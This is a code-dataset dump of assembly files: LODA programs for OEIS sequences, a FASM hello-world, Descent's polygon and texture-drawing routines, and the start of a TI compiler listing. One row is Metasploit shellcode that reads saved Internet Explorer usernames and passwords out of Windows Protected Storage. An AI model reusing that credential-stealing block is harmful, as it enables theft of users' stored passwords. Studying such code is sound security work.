hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b9b7a02ef79ba483cb9235931cdb5c40abc6cf5f | 502 | asm | Assembly | programs/oeis/132/A132635.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/132/A132635.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/132/A132635.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A132635: Number of primes, 0's, and 1's in [0, n^2).
; 0,1,4,6,8,11,13,17,20,24,27,32,36,41,46,50,56,63,68,74,80,87,94,101,107,116,124,131,139,148,156,164,174,183,193,202,212,221,230,242,253,265,276,285,297,308,321,331,344,359,369,380,395,411,423,436,447,459,476
pow $0,2
mov $2,$0
mov $3,$0
lpb $0,1
mov $1,$0
cal $1,230980 ; Number of primes <= n, starting at n=0.
lpb $3,1
mov $3,2
lpb $2,1
mov $0,1
add $1,1
mov $2,1
lpe
lpe
lpe
add $0,1
add $1,$0
sub $1,1
| 22.818182 | 209 | 0.593625 |
f2afc75b8b6794e43a0ffecd075bf19c9e370e83 | 325 | asm | Assembly | programs/oeis/216/A216179.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/216/A216179.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/216/A216179.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A216179: a(n) = 10^n + 3.
; 13,103,1003,10003,100003,1000003,10000003,100000003,1000000003,10000000003,100000000003,1000000000003,10000000000003,100000000000003,1000000000000003,10000000000000003,100000000000000003,1000000000000000003,10000000000000000003
mov $1,10
pow $1,$0
mul $1,5
add $1,4
mul $1,2
sub $1,5
mov $0,$1
| 29.545455 | 229 | 0.793846 |
5787b77e2f92087e1702b653c1099aa8556ad2c4 | 716 | asm | Assembly | programs/oeis/100/A100449.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/100/A100449.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/100/A100449.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A100449: Number of ordered pairs (i,j) with |i| + |j| <= n and gcd(i,j) <= 1.
; 1,5,9,17,25,41,49,73,89,113,129,169,185,233,257,289,321,385,409,481,513,561,601,689,721,801,849,921,969,1081,1113,1233,1297,1377,1441,1537,1585,1729,1801,1897,1961,2121,2169,2337,2417,2513,2601,2785,2849,3017,3097,3225,3321,3529,3601,3761,3857,4001,4113,4345,4409,4649,4769,4913,5041,5233,5313,5577,5705,5881,5977,6257,6353,6641,6785,6945,7089,7329,7425,7737,7865,8081,8241,8569,8665,8921,9089,9313,9473,9825,9921,10209,10385,10625,10809,11097,11225,11609,11777,12017
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
add $1,$2
lpe
mul $1,4
add $1,1
mov $0,$1
| 51.142857 | 469 | 0.710894 |
acd1afc0534eaa0b6995924a9bbd71eb75998ae3 | 8,716 | asm | Assembly | external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm | OsmanDere/metasploit-framework | b7a014a5d22d3b57157e301d4af57e3a31ad03a9 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 26,932 | 2015-01-01T00:04:51.000Z | 2022-03-31T22:51:38.000Z | external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm | Kilo-411/metasploit-framework | aaf27d7fa51390895dea63c58cb3b76e959d36f8 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 11,048 | 2015-01-01T00:05:44.000Z | 2022-03-31T21:49:52.000Z | external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm | Kilo-411/metasploit-framework | aaf27d7fa51390895dea63c58cb3b76e959d36f8 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 12,593 | 2015-01-01T01:01:20.000Z | 2022-03-31T22:13:32.000Z | ;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'
; Output: top element of stack will be pointer to null-terminated password and
; second will be pointer to null-terminated username of the Proxy saved in IE
pushad
jmp after_functions
alloc_memory: ; returns address to allocation in eax
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; allocate 1000 byte for each variable (could be less)
push 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
ret ;
;
after_functions: ;
;
; allocate memory for variables and save pointers on stack
mov bl, 9 ;
alloc_loop: ;
call alloc_memory ;
push eax ; save allocation address on stack
dec bl ;
jnz alloc_loop ;
;
load_pstorec: ; loads the pstorec.dll
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
push 0x6f747370 ; ...
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "pstorec" )
; this should leave a handle to the pstorec
; DLL-Module in eax
pop edx ; remove 'pstorec' string from stack
pop edx
PStoreCreateInstance_PStore:
; returns address to PStore in pPStore
pop edi ; pop pPstore
push edi ; restore stack
;
push 0 ;
push 0 ;
push 0 ;
push edi ; arg4: pPstore
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
;
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
push edx ; restore stack
push eax ;
;
push edx ; arg1: pEnumPstoreTypes
push 0 ; arg2: NULL
push 0 ; arg3: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
call edx ; call IPStore::EnumTypes
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
;
EnumPStoreTypes.raw_Next:
pop eax ; pop pPStore
pop edx ; pop pEnumPStoreTypes
pop ecx ; pop pTypeGUID
push ecx ; restore stack
push edx ;
push eax ;
;
push 0 ; arg1: NULL
push ecx ; arg2: pTypeGUID
push 1 ; arg3: 1
mov edx, [edx] ; load base address of EnumPStoreTypes
push edx ; push base address of EnumPStoreTypes (this)
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
call edx ; call EnumPStoreTypes::raw_Next
;
mov eax, [esp+8] ;
mov eax, [eax] ;
;
test eax, eax ;
jz no_auth ; no Password found
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
jne EnumPStoreTypes.raw_Next
;
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
pop ecx ; pop pTypeGUID
pop edi ; pop pEnumSubtypes
push edi ; restore stack
push ecx ;
push edx ;
push eax ;
;
push edi ; arg1: pEnumSubtypes
push 0 ; arg2: NULL
push ecx ; arg3: pTypeGUID
push 0 ; arg4: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
call edx ; call IPStore::EnumSubtypes
;
EnumSubtypes.raw_Next:
mov eax, [esp+0x0C] ; pop pEnumSubtypes
mov edx, [esp+0x10] ; pop psubTypeGUID
;
push 0 ; arg1: NULL
push edx ; arg2: psubTypeGUID
push 1 ; arg3: 1
mov eax, [eax] ; load base address of EnumSubtypes in eax
push eax ; push base address of EnumSubtypes (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
call edx ; call EnumSubtypes.raw_Next
;
PStore.EnumItems:
pop eax ; pop pPstore
pop ecx ;
pop edx ; pop pTypeGUID
push edx ; restore stack
push ecx ;
push eax ;
mov ecx, [esp+0x10] ; pop psubTypeGUID
mov edi, [esp+0x14] ; pop pspEnumItems
;
push edi ; arg1: pspEnumItems
push 0 ; arg2: NULL
push ecx ; arg3: psubTypeGUID
push edx ; arg4: pTyoeGUID
push 0 ; arg5: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
mov edx, [edx+0x54] ;
call edx ; call IPStore::Enumitems
;
spEnumItems.raw_Next:
mov eax, [esp+0x14] ; pop pspEnumItems
mov ecx, [esp+0x18] ; pop pitemName
;
push 0 ; arg1: NULL
push ecx ; arg2: pitemName
push 1 ; arg3: 1
mov eax, [eax] ; load base address of spEnumItems in eax
push eax ; push base addres of spEnumItems (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ;
call edx ;
;
PStore.ReadItem:
pop eax ; pop pPStore
push eax ;
;
push 0 ; arg1: NULL
push 0 ; arg2: NULL (stiinfo not needed)
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
push ecx ; arg3: ppsData
mov ecx, [esp+0x2C] ; pop ppsDataLen
push ecx ; arg4: ppsDataLen (not needed?)
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
mov ecx, [ecx] ;
push ecx ; arg5: pitemName
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
push ecx ; arg6: psubTypeGUID
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
push ecx ; arg7: pTypeGUID
push 0 ; arg8: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base addres of PStore (this)
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
mov edx, [edx+0x44] ;
call edx ;
;
split_user_pass:
mov eax, [esp+0x1C] ; eax = ppsData
mov eax, [eax] ; now eax contains pointer to "user:pass"
push eax ; push pointer to user
mov cl, byte 0x3a ; load ":" in ecx
mov dl, byte [eax] ; load first byte of ppsData in edx
cmp cl, dl ;
jz no_auth ;
loop_split: ;
inc eax ;
mov dl, byte [eax] ;
cmp cl, dl ;
jnz loop_split ; increase eax until it points to ":"
;
mov [eax], byte 0x00 ; replace ":" with 00
inc eax ;
push eax ; push pointer to pass
;
no_auth:
| 41.504762 | 91 | 0.509408 |
abc8bc0006e5107752501aa598a7cf2c9969f0ca | 228 | asm | Assembly | linux32/lesson01.asm | mashingan/notes-asmtutor | 88532e0b364a63cd1e7578a537807795d429fc2f | [
"MIT"
] | 1 | 2021-11-05T06:41:49.000Z | 2021-11-05T06:41:49.000Z | linux32/lesson01.asm | mashingan/notes-asmtutor | 88532e0b364a63cd1e7578a537807795d429fc2f | [
"MIT"
] | null | null | null | linux32/lesson01.asm | mashingan/notes-asmtutor | 88532e0b364a63cd1e7578a537807795d429fc2f | [
"MIT"
] | null | null | null | format ELF executable 3
entry start
segment readable executable
start:
mov edx, msglen
mov ecx, msg
mov ebx, 1
mov eax, 4
int 80h
segment readable writeable
msg db 'Hello world!', 0Ah
msglen = $ - msg
| 14.25 | 30 | 0.666667 |
469c74c363f4840d3d8e14b151f228db2e669b77 | 12,655 | asm | Assembly | source/3dasm/draw.asm | arbruijn/d2gl | 829b1990384b78087f3249feec7df13912e0da05 | [
"Unlicense"
] | null | null | null | source/3dasm/draw.asm | arbruijn/d2gl | 829b1990384b78087f3249feec7df13912e0da05 | [
"Unlicense"
] | null | null | null | source/3dasm/draw.asm | arbruijn/d2gl | 829b1990384b78087f3249feec7df13912e0da05 | [
"Unlicense"
] | null | null | null | ; THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
; SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
; END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
; ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
; IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
; SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
; FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
; CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
; AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
; COPYRIGHT 1993-1999 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
DONT_USE_UPOLY = 1
.386
option oldstructs
.nolist
include pstypes.inc
include psmacros.inc
include gr.inc
include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: draw.asm 1.33 1996/02/14 09:59:13 matt Exp $"
align 4
tempv vms_vector <>
n_verts dd ?
n_verts_4 dd ? ; added by mk, 11/29/94, point coding optimization.
bitmap_ptr dd ?
uvl_list_ptr dd ?
tmap_drawer_ptr dd draw_tmap_
flat_drawer_ptr dd gr_upoly_tmap_
line_drawer_ptr dd gr_line_
_DATA ends
_TEXT segment dword public USE32 'CODE'
extn gr_upoly_tmap_
extn draw_tmap_
;specifies new routines to call to draw polygons
;takes eax=ptr to tmap routine, edx=ptr to flat routine, ebx=line rtn
g3_set_special_render:
or eax,eax
jnz got_tmap_ptr
lea eax,cs:draw_tmap_
got_tmap_ptr: mov tmap_drawer_ptr,eax
or edx,edx
jnz got_flat_ptr
lea edx,cs:gr_upoly_tmap_
got_flat_ptr: mov flat_drawer_ptr,edx
or ebx,ebx
jnz got_line_ptr
lea ebx,cs:gr_line_
got_line_ptr: mov line_drawer_ptr,ebx
ret
;alternate entry takes pointers to points. esi,edi = point pointers
g3_draw_line:
;;ifndef NDEBUG
;; mov ax,_Frame_count ;curren frame
;; cmp ax,[esi].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_line'
;; cmp ax,[edi].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_line'
;;endif
mov al,[esi].p3_codes
mov ah,[edi].p3_codes
;check codes for reject, clip, or no clip
test al,ah ;check codes_and
jnz no_draw_line ;both off same side
or al,ah ;al=codes_or
js must_clip_line ;neg z means must clip
test [esi].p3_flags,PF_PROJECTED
jnz p0_projected
call g3_project_point
p0_projected: test [esi].p3_flags,PF_OVERFLOW
jnz must_clip_line
test [edi].p3_flags,PF_PROJECTED
jnz p1_projected
xchg esi,edi ;get point in esi
call g3_project_point
xchg esi,edi
p1_projected: test [edi].p3_flags,PF_OVERFLOW
jnz must_clip_line
pushm ebx,ecx,edx ;save regs
test al,al ;check codes or
mov eax,[esi].p3_sx
mov edx,[esi].p3_sy
mov ebx,[edi].p3_sx
mov ecx,[edi].p3_sy
jz unclipped_line ;cc set from test above
;call clipping line drawer
;; call gr_line_ ;takes eax,edx,ebx,ecx
push esi
mov esi,line_drawer_ptr
call esi
pop esi
popm ebx,ecx,edx
ret ;return value from gr_line
;we know this one is on screen
unclipped_line: ;;call gr_uline_ ;takes eax,edx,ebx,ecx
;; call gr_line_
push esi
mov esi,line_drawer_ptr
call esi
pop esi
popm ebx,ecx,edx
mov al,1 ;definitely drew
ret
;both points off same side, no do draw
no_draw_line: xor al,al ;not drawn
ret
;jumped here from out of g3_draw_line. esi,edi=points, al=codes_or
must_clip_line: call clip_line ;do the 3d clip
call g3_draw_line ;try draw again
;free up temp points
test [esi].p3_flags,PF_TEMP_POINT
jz not_temp_esi
call free_temp_point
not_temp_esi: test [edi].p3_flags,PF_TEMP_POINT
jz not_temp_edi
xchg esi,edi
call free_temp_point
not_temp_edi:
check_free_points
ret ;ret code set from g3_draw_line
;returns true if a plane is facing the viewer. takes the unrotated surface
;normal of the plane, and a point on it. The normal need not be normalized
;takes esi=vector (unrotated point), edi=normal.
;returns al=true if facing, cc=g if facing
;trashes esi,edi
g3_check_normal_facing:
push edi ;save normal
lea eax,tempv
mov edi,esi
lea esi,View_position
call vm_vec_sub
mov esi,eax ;view vector
pop edi ;normal
call vm_vec_dotprod
or eax,eax ;check sign
setg al ;true if positive
ret
;see if face is visible and draw if it is.
;takes ecx=nv, esi=point list, edi=normal, ebx=point.
;normal can be NULL, which will for compution here (which will be slow).
;returns al=-1 if not facing, else 0
;Trashes ecx,esi,edx,edi
g3_check_and_draw_poly:
call do_facing_check
or al,al
jnz g3_draw_poly
mov al,-1
ret
g3_check_and_draw_tmap:
push ebx
mov ebx,eax
call do_facing_check
pop ebx
or al,al
jnz g3_draw_tmap
mov al,-1
ret
;takes edi=normal or NULL, esi=list of vert nums, ebx=pnt
;returns al=facing?
do_facing_check:
test edi,edi ;normal passed?
jz compute_normal ;..nope
;for debug, check for NULL normal
ifndef NDEBUG
mov eax,[edi].x
or eax,[edi].y
or eax,[edi].z
break_if z,'Zero-length normal in do_facing_check'
endif
;we have the normal. check if facing
push esi
mov esi,ebx
call g3_check_normal_facing ;edi=normal
pop esi
setg al ;set al true if facing
ret
;normal not specified, so must compute
compute_normal:
pushm ebx,ecx,edx,esi
;get three points (rotated) and compute normal
mov eax,[esi] ;get point
mov edi,8[esi] ;get point
mov esi,4[esi] ;get point
lea ebx,tempv
call vm_vec_perp ;get normal
mov edi,eax ;normal in edi
call vm_vec_dotprod ;point in esi
or eax,eax ;check result
popm ebx,ecx,edx,esi
sets al ;al=true if facing
ret
;draw a flat-shaded face. returns true if drew
;takes ecx=nv, esi=list of pointers to points
;returns al=0 if called 2d, 1 if all points off screen
;Trashes ecx,esi,edx
g3_draw_poly:
pushm ebx,edi
lea edi,Vbuf0 ;list of ptrs
xor ebx,ebx ;counter
mov dx,0ff00h ;init codes
codes_loop: mov eax,[esi+ebx*4] ;get point number
mov [edi+ebx*4],eax ;store in ptr array
;;ifndef NDEBUG
;; push ebx
;; mov bx,_Frame_count ;curren frame
;; cmp bx,[eax].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_poly'
;; pop ebx
;;endif
and dh,[eax].p3_codes ;update codes_and
or dl,[eax].p3_codes ;update codes_or
inc ebx
cmp ebx,ecx ;done?
jne codes_loop ;..nope
;now dx = codes
test dh,dh ;check codes_and
jnz face_off_screen ;not visible at all
test dl,dl ;how about codes_or
js must_clip_face ;neg z means must clip
jnz must_clip_face
;reentry point for jump back from clipper
draw_poly_reentry:
push edx ;save codes_or
;now make list of 2d coords (& check for overflow)
mov edx,edi ;edx=Vbuf0
xor ebx,ebx
lea edi,Vertex_list
coords_loop: mov esi,[edx+ebx*4] ;esi = point
test [esi].p3_flags,PF_PROJECTED
jnz pnt_projected
call g3_project_point
pnt_projected: test [esi].p3_flags,PF_OVERFLOW
jnz must_clip_face2
mov eax,[esi].p3_sx
mov [edi+ebx*8],eax
mov eax,[esi].p3_sy
mov 4[edi+ebx*8],eax
inc ebx
cmp ebx,ecx
jne coords_loop
mov eax,ecx ;eax=nverts
mov edx,edi ;edx=vertslist
;check for trivial accept
pop ebx ;get codes_or
ife DONT_USE_UPOLY
test bl,bl
jz no_clip_face
endif
;;call gr_poly_ ;takes eax,edx
;;; call gr_upoly_tmap_
push ecx
mov ecx,flat_drawer_ptr
call ecx
pop ecx
popm ebx,edi
xor al,al ;say it drew
ret
;all on screen. call non-clipping version
no_clip_face: ;;call gr_upoly_ ;takes eax,edx
;; call gr_poly_
call gr_upoly_tmap_
popm ebx,edi
xor al,al ;say it drew
ret
;all the way off screen. return
face_off_screen: popm ebx,edi
mov al,1 ;no draw
ret
;we require a 3d clip
must_clip_face2: pop edx ;get codes back
must_clip_face: lea esi,Vbuf0 ;src
lea edi,Vbuf1 ;dest
mov al,dl ;codes in al
call clip_polygon ;count in ecx
mov edi,esi ;new list in edi
;clipped away?
jecxz clipped_away
or dh,dh ;check codes_and
jnz clipped_away
test dl,dl ;check codes or
js clipped_away ;some points still behind eye
push edi ;need edi to free temp pnts
push offset cs:reentry_return
pushm ebx,edi ;match what draw has pushed
jmp draw_poly_reentry
reentry_return:
pop edi
clipped_away:
push eax ;save ret codes
;free temp points
xor ebx,ebx
free_loop: mov esi,[edi+ebx*4] ;get point
test [esi].p3_flags,PF_TEMP_POINT
jz not_temp
call free_temp_point
not_temp: inc ebx
cmp ebx,ecx
jne free_loop
check_free_points
pop eax ;get ret codes back
popm ebx,edi
ret
;draw a texture-mapped face. returns true if drew
;takes ecx=nv, esi=point list, ebx=uvl_list, edx=bitmap
;returns al=0 if called 2d, 1 if all points off screen
;Trashes ecx,esi,edx
g3_draw_tmap:
mov bitmap_ptr,edx ;save
pushm ebx,edi
lea edi,Vbuf0 ;list of ptrs
push ebp ;save ebp
mov ebp,ebx ;ebp=uvl list
mov uvl_list_ptr, ebx
mov n_verts,ecx ;save in memory
shl ecx, 2
;loop to check codes, make list of point ptrs, and copy uvl's into points
mov dh, 0ffh ; init codes (this pipelines nicely)
mov n_verts_4, ecx
xor ebx, ebx
xor dl, dl ; init codes (this pipelines nicely)
t_codes_loop: mov eax,[esi+ebx] ;get point number
mov [edi+ebx],eax ;store in ptr array
and dh,[eax].p3_codes ;update codes_and
or dl,[eax].p3_codes ;update codes_or
mov ecx,[ebp] ;get u
add ebp, 4 ; (this pipelines better ..mk, 11/29/94 ((my 33rd birthday...)))
mov [eax].p3_u,ecx
mov ecx,[ebp] ;get v
add ebp, 4
mov [eax].p3_v,ecx
mov ecx,[ebp] ;get l
add ebp, 4
mov [eax].p3_l,ecx
or [eax].p3_flags,PF_UVS + PF_LVS ;this point's got em
add ebx,4
cmp ebx, n_verts_4
jne t_codes_loop ;..nope
pop ebp ;restore ebp
;now dx = codes
test dh,dh ;check codes_and
jnz t_face_off_screen ;not visible at all
test dl,dl ;how about codes_or
jnz t_must_clip_face ;non-zero means must clip
;reentry point for jump back from clipper
t_draw_poly_reentry:
;make sure all points projected
mov edx,edi ;edx=Vbuf0
xor ebx,ebx
t_proj_loop: mov esi,[edx+ebx*4] ;esi = point
;;ifndef NDEBUG
;; mov ax,_Frame_count ;curren frame
;; cmp ax,[esi].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_tmap'
;;endif
test [esi].p3_flags,PF_PROJECTED
jnz t_pnt_projected
call g3_project_point
t_pnt_projected:
test [esi].p3_flags,PF_OVERFLOW
break_if nz,'Should not overflow after clip'
jnz t_face_off_screen
inc ebx
cmp ebx,n_verts
jne t_proj_loop
;now call the texture mapper
mov eax,bitmap_ptr ;eax=bitmap ptr
mov edx,n_verts ;edx=count
mov ebx,edi ;ebx=points
;;; call draw_tmap_
push ecx
mov ecx,tmap_drawer_ptr
call ecx
pop ecx
popm ebx,edi
xor al,al ;say it drew
ret
;all the way off screen. return
t_face_off_screen: popm ebx,edi
mov al,1 ;no draw
ret
;we require a 3d clip
t_must_clip_face: lea esi,Vbuf0 ;src
lea edi,Vbuf1 ;dest
mov al,dl ;codes in al
mov ecx,n_verts
call clip_polygon ;count in ecx
mov n_verts,ecx
mov edi,esi ;new list in edi
;clipped away?
jecxz t_clipped_away
or dh,dh ;check codes_and
jnz t_clipped_away
test dl,dl ;check codes or
js t_clipped_away ;some points still behind eye
push edi ;need edi to free temp pnts
push offset cs:t_reentry_return
pushm ebx,edi ;match what draw has pushed
jmp t_draw_poly_reentry
t_reentry_return:
pop edi
t_clipped_away:
; free temp points
mov ebx, ecx
push eax ;save ret code
dec ebx
shl ebx, 2
t_free_loop: mov esi,[edi+ebx] ;get point
test [esi].p3_flags,PF_TEMP_POINT
jz t_not_temp
call free_temp_point
t_not_temp: sub ebx, 4
jns t_free_loop
check_free_points
pop eax ;get ret code
popm ebx,edi
ret
;draw a sortof-sphere. takes esi=point, ecx=radius
g3_draw_sphere: test [esi].p3_codes,CC_BEHIND
jnz reject_sphere
test [esi].p3_flags,PF_PROJECTED
jnz sphere_p_projected
call g3_project_point
sphere_p_projected:
test [esi].p3_flags,PF_OVERFLOW
jnz reject_sphere
;calc radius. since disk doesn't take width & height, let's just
;say the the radius is the width
pushm eax,ebx,ecx,edx
mov eax,ecx
fixmul Matrix_scale.x
imul Canv_w2
sphere_proj_div: divcheck [esi].z,sphere_div_overflow_handler
idiv [esi].z
mov ebx,eax
mov eax,[esi].p3_sx
mov edx,[esi].p3_sy
call gr_disk_
sphere_div_overflow_handler:
popm eax,ebx,ecx,edx
reject_sphere: ret
_TEXT ends
end
| 22.201754 | 78 | 0.717819 |
39094d3cebcca9f8efcd4473e278940ad9a6af1d | 558 | asm | Assembly | programs/oeis/305/A305263.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/305/A305263.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/305/A305263.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A305263: a(n) = 680*2^n - 622.
; 58,738,2098,4818,10258,21138,42898,86418,173458,347538,695698,1392018,2784658,5569938,11140498,22281618,44563858,89128338,178257298,356515218,713031058,1426062738,2852126098,5704252818,11408506258,22817013138,45634026898,91268054418,182536109458,365072219538,730144439698,1460288880018,2920577760658,5841155521938,11682311044498,23364622089618,46729244179858,93458488360338,186916976721298,373833953443218,747667906887058,1495335813774738,2990671627550098,5981343255100818
mov $1,2
pow $1,$0
sub $1,1
mul $1,680
add $1,58
| 62 | 474 | 0.849462 |
4955038828b1b8ae312f40bad7b3f3e9770a5c13 | 50,714 | asm | Assembly | tmp1/c55x-sim2/foo/Debug/csl_saram_retention_example.asm | jwestmoreland/eZdsp-DBG-sim | f6eacd75d4f928dec9c751545e9e919d052e4ade | [
"MIT"
] | 1 | 2020-08-27T11:31:13.000Z | 2020-08-27T11:31:13.000Z | tmp1/c55x-sim2/foo/Debug/csl_saram_retention_example.asm | jwestmoreland/eZdsp-DBG-sim | f6eacd75d4f928dec9c751545e9e919d052e4ade | [
"MIT"
] | null | null | null | tmp1/c55x-sim2/foo/Debug/csl_saram_retention_example.asm | jwestmoreland/eZdsp-DBG-sim | f6eacd75d4f928dec9c751545e9e919d052e4ade | [
"MIT"
] | null | null | null | ;*******************************************************************************
;* TMS320C55x C/C++ Codegen PC v4.4.1 *
;* Date/Time created: Sat Sep 29 23:09:04 2018 *
;*******************************************************************************
.compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf
.mmregs
.cpl_on
.arms_on
.c54cm_off
.asg AR6, FP
.asg XAR6, XFP
.asg DPH, MDP
.model call=c55_std
.model mem=large
.noremark 5002 ; code respects overwrite rules
;*******************************************************************************
;* GLOBAL FILE PARAMETERS *
;* *
;* Architecture : TMS320C55x *
;* Optimizing for : Speed *
;* Memory : Large Model (23-Bit Data Pointers) *
;* Calls : Normal Library ASM calls *
;* Debug Info : Standard TI Debug Information *
;*******************************************************************************
$C$DW$CU .dwtag DW_TAG_compile_unit
